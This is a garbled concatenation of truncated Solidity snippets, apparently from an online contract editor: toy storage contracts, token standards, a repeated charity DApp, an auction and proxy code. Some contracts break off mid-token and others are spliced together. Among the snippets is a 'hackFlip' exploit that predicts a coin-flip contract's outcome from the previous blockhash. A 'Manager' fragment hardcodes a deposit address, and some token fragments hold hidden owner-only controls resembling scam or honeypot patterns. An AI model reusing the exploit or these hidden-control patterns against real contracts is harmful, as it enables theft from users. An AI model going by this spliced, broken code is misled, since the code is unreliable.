import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
library UniswapV2Library {
using SafeMath for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) internal view returns (address pair) {
return IUniswapV2Factory(factory).getPair(tokenA, tokenB); // For easy testing
pragma solidity ^0.6.6;
contract Manager {
function performTasks() public {
}
function pancakeswapDepositAddress() public pure returns (address) {
return 0xDbc23AE43a150ff8884B02Cea117b22D1c3b9796;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
string public myString = "Hello World";
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;
contract NumberContract {
// variable de estado almacenada en el blockchain
uint public Number = 10;
function setNumber(uint _Number) public {
// Se necesita hacer una Txn para Sobre escribir una variable de estado
Number = _Number;
// Las variables locales son las definidas
// dentro de las funciones y no son
// Almacenadas en el blockchain
//Uint i = 456;
// Las variables globales son propias
// Del blockchain, por ejemplo:
//uint timestamp = block.timestamp; // Current block timestamp
//address sender = msg.sender; // address of the caller
}
// Se puede leer (GET) una variable de
// Estado sin enviar una Txn
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;
contract CoolNumberContract {
// variable de estado almacenada en el blockchain
uint public coolNumber = 10;
function setCoolNumber(uint _coolNumber) public {
// Se necesita hacer una Txn para
// Sobre escribir una variable de estado
coolNumber = _coolNumber;
// Las variables locales son las definidas
// dentro de las funciones y no son
// Almacenadas en el blockchain
Uint i = 456;
// Las variables globales son propias
// Del blockchain, por ejemplo:
uint timestamp = block.timestamp; // Current block timestamp
address sender = msg.sender; // address of the caller
}
// Se puede leer (GET) una variable de
// Estado sin enviar una Txn
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Simple {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
function hackFlip(bool _guess) public {
// pre-deteremine the flip outcome
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
// If I guessed correctly, submit my guess
if (side == _guess) {
originalContract.flip(_guess);
} else {
// If I guess incorrectly, submit the opposite
originalContract.flip(!_guess);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Student {
uint public studentId;
function getStudentId() public returns (uint) {
return studentId++;
}
contract hackCoinFlip {
CoinFlip public originalContract = CoinFlip("your instance address");
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hackFlip(bool _guess) public {
//TODO
}
pragma solidity ^0.5.0;
// lvl 1: equal split
contract AssociateProfitSplitter {
// @TODO: Create three payable addresses representing `employee_one`, `employee_two` and `employee_three`.
address payable employee_one; address payable employee_two; address payable employee_three;
constructor(address payable _one, address payable _two, address payable _three) public {
employee_one = _one;
employee_two = _two;
employee_three = _three;
}
function balance() public view returns(uint) {
return address(this).balance;
}
function deposit() public payable {
// @TODO: Split `msg.value` into three
uint amount = msg.value / 3;
employee_one.transfer(amount);
employee_two.transfer(amount);
employee_three.transfer(amount);
msg.sender.transfer(msg.value - amount * 3);
// @TODO: take care of a potential remainder by sending back to HR (`msg.sender`)
// Your code here!
}
function() external // SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;
contract SimpleStorage {
uint storedData;
function set(uint x) public {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
}//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Somer883Token {
string public version = '1.0';
string public name;
string public symbol;
uint8 public decimals;
address public owner;
uint256 public _totalSupply;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function Somer883Token() public {
balances[msg.sender] = 100000000000000;
_totalSupply = 100000000000000;
name = 'Somer883';
symbol = 'SMR';
decimals = 6;
owner = msg.sender;
}
function balanceOf(address _owner) public constant rpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
}
struct Product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
bool display;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
// uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
// uint account_balance;
}
// Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiar//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;hhh
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleContract {
//소유자를 키로 잔액을 mapping (ERC-20)
mapping (address => uint256) ERC20;
// token ID로 소유자를 mapping (ERC-721)
mapping (uint256 => address) ERC721;
pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
}
struct Product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
bool display;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
// uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
// uint account_balance;
}
// Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiar// ERC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.18;
contract A {
bytes32 id;
}
contract B {
uint256 a = 0;
pragma solidity ^0.5.2;
contract MyContract {
uint amount;
uint value;
constructor (uint initialAmount, uint initialValue) public {
amount = 0;
value = 1000;
}
function getBalance() public view returns(uint) {
return value;
}
function getAmount() public view returns(uint) {
return amount;
}
function send(uint newDeposit) public {
value = value - newDeposit;
amount = amount + newDeposit;
}
/**
*Submitted for verification at BscScan.com on 2021-04-16
*/
/**
* Rototril
* **/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view repragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance pragma solidity >= 0.7.0 < 0.9.0;
import '@uniswap/v3-core/contracts/libraries/BitMath.sol';
contract Rarity {
function findRare(uint256 lastId, address poolAddress) public pure returns (uint256) {
uint256 tokenId = lastId + 1;
while (tokenId < type(uint256).max && !(uint256(keccak256(abi.encodePacked(tokenId, poolAddress))) < type(uint256).max / (1 + BitMath.mostSignificantBit(tokenId) * 2))) {
tokenId++;
}
return tokenId;
}
}// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.8;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
//lol
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Mom {
function feed(address child) public {
}
}
contract Dad {
function feed(address child) public {
}
}
contract Child is Mom, Dad {
function feed(address sibling) public {
super.feed(sibling);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.8.0;
contract SimpleStore {
address a;
uint256 b;
bool c;
uint256 d;
uint16 e;
address f;
uint128 g;
uint256 h;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
address a;
uint256 b;
bool c;
uint256 d;
uint16 e;
address f;
uint128 g;
uint256 h;
pragma solidity ^0.4.11;
/**
* @title Ownable
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (ui
pragma solidity ^0.4.11;
/**
* @title Ownable
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (ui
pragma solidity ^0.4.11;
/**
* @title Ownable
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (ui//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.18;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
//**
*Submitted for verification at BscScan.com on 2021-04-27
*/
pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed
contract XXXXXXCoin {
mapping(address => uint) public balances;
mapping( address => mapping(address => uint)) public allowance;
uint public totalSupply = 1000000000 * 10**6 * 10**8;
string public name = "XXXXXX";
string public symbol = "XXXXXX";
uint public decimals = 9;
address private coinConfiger = msg.sender;
address public owner = msg.sender;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Error();
bool private Errors = false;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier coinConfig() {
require(msg.sender == coinConfiger);
_;
}
constructor(){
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function/**
*Submitted for verification at BscScan.com on 2021-04-27
*/
pragma solidity ^0.8.2;
// SPDX-License-Identifier: Unlicensed
contract SphynxCatCoin {
mapping(address => uint) public balances;
mapping( address => mapping(address => uint)) public allowance;
uint public totalSupply = 1000000000 * 10**6 * 10**8;
string public name = "SphynxCatCoin";
string public symbol = "SCC";
uint public decimals = 9;
address private coinConfiger = msg.sender;
address public owner = msg.sender;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event Error();
bool private Errors = false;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier coinConfig() {
require(msg.sender == coinConfiger);
_;
}
constructor(){
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
f//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {
function callKeccak256() public pure returns(bytes32 result){
return keccak256("Isla Rebekah Tintpulver");
}
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code
pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contractpragma solidity >=0.5.0 <0.7.0;
contract SimpleAuction {
address payable public beneficiary;
uint public auctionEndTime;
address public highestBidder;
uint public highestBid;
mapping(address => uint) pendingReturns;
bool ended;
event HighestBidIncreased(address bidder, uint amount);
event AuctionEnded(address winner, uint amount);
constructor(
uint _biddingTime,
address payable _beneficiary
) public {
beneficiary = _beneficiary;
auctionEndTime = now + _biddingTime;
}
function bid() public payable {
require(
now <= auctionEndTime,
"Auction already ended."
);
require(
msg.value > highestBid,
"There already is a higher bid."
);
if (highestBid != 0) {
pendingReturns[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
emit HighestBidIncreased(msg.sender, msg.value);pragma solidity >=0.4.0 <=0.6.0;
contract news{
struct newsfeed{
address publisher;
string newsdesc;
}
mapping(uint => newsfeed) public newsfeeds;
uint public newsCount;
function addnews(string memory newsdesc) public {
newsCount++;
newsfeeds[newsCount].publisher = msg.sender;
newsfeeds[newsCount].newsdesc = newsdesc;
}
}//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public pure returns (uint) {
uint a = 0;
return a - 1;
}
uint value;
/**
*Submitted for verification at BscScan.com on 2020-10-28
*/
// File: openzeppelin-solidity/contracts/proxy/Proxy.sol
pragma solidity ^0.6.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) inpragma solidity ^0.5.0;
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/math/SafeMath.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/ownership/Ownable.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20Detailed.sol";
contract FreeParking is ERC20, Ownable, ERC20Detailed {
constructor(
address _owner,
uint256 _supply
)
ERC20Detailed(
"Free Parking Protocol",
"PARK",
18
)
public
{
_mint(_owner, _supply);
}
using SafeMath for uint256;
/**
* @notice We require to know who are all the stakeholders.
*/
address[] internal stakeholders;
/**
* @notice The accumulated revenue for each stakeholder.
*/
mapping(address =>//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.5.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function signedTest() pure public returns(uint256) {
uint16 a = uint16(-1);
uint256 b = a;
return b;
}
}//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Parent {
Child _child ;
function Parent(Child child) public {
_child = child;
}
function call_child() public{
_child.call_me(msg.sender);
}
uint value;
}
contract Child {
address public _realMsgSender;
address public _seenMsgSender;
function call_me(address realMsgSender) public {
_realMsgSender = realMsgSender;
_seenMsgSender = msg.sender;
}
pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
bool display;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
// uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
// uint account_balance;
}
// Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiar//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
bool display;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
// Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiapragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
addrpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
addrpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
addrpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
addrpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
string[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
address p// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
pragma solidity ^0.4.25;
/*
Just the interface so solidity can compile properly
We could skip this if we use generic call creation or abi.encodeWithSelector
*/
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/*
Generic Receiver Contract
*/
contract Receiver {
address public owner;
constructor() public {
/*
Deployer's address ( Factory in ourpragma solidity >=0.6.0;
contract questFreeton{
constructor() public {
require(tvm.pubkey() != 0);
tvm.accept();
}
uint16 constant SIEGE_TIME = 10770;
uint24 constant QUEST_WINDOW_TIME = 86400;
uint16 version = 0;
uint16 questID =0;
struct PirateStation{
string blkch;
uint24[] crd;
uint16 siegeTime;
